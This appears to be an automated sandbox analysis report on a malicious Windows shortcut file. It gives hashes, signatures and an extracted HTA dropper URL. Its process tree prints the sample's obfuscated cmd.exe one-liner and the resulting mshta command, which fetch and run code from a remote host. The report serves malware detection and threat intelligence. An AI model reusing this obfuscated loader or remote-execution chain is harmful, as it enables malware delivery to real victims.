Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:09

General

  • Target
    DOC-J7M1MR.lnk
  • Size 2KB
  • Sample260803-qd7mysaa37
  • SHA256 bab610b186db2acb9ac38190bc00a18b3c08aaa94692ba20c7fcb41a9703501d
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-J7M1MR.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:896
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/v:on/C"set lDizj=dbgshmkkdbg&set JRrT=esm&&set mmXoQ=2tarty&set RDM=oldgbuwwjeanlxbjoqpmaemstold&set EM=infhdmywczqxngwukfhmbinf&set FPcH=winaqfawin&set vsNW=sysrenfhkcwrgywpsys&set AZpY=bakgokpwuhkkkalimbak&set nioPG=bakrmycrwpfiwzubak&set rF=cacheldlscipcache&set bgKi=f0ms1if&&set tL=cmthzv&&set TrvN=dtaz&set hKlo=dbgtlanibgyunnfnwdbg&set zjSPZ=logpjfiyfhzzsgyrpynrstalog&set BW=netyopfcinlmeevbjplvenet&set HJ=logiueilog&&set jKzQ=htt@p@s@:/@/b@o@-pd@ffill@er@.@lat@/@h/e@s@[email protected]@p?r=36076@1F157@94&&start /b !bgKi:~2,2!!tL:~3,1!!TrvN:~1,2! !jKzQ:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3904
      • C:\Windows\System32\mshta.exe
        mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:204

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads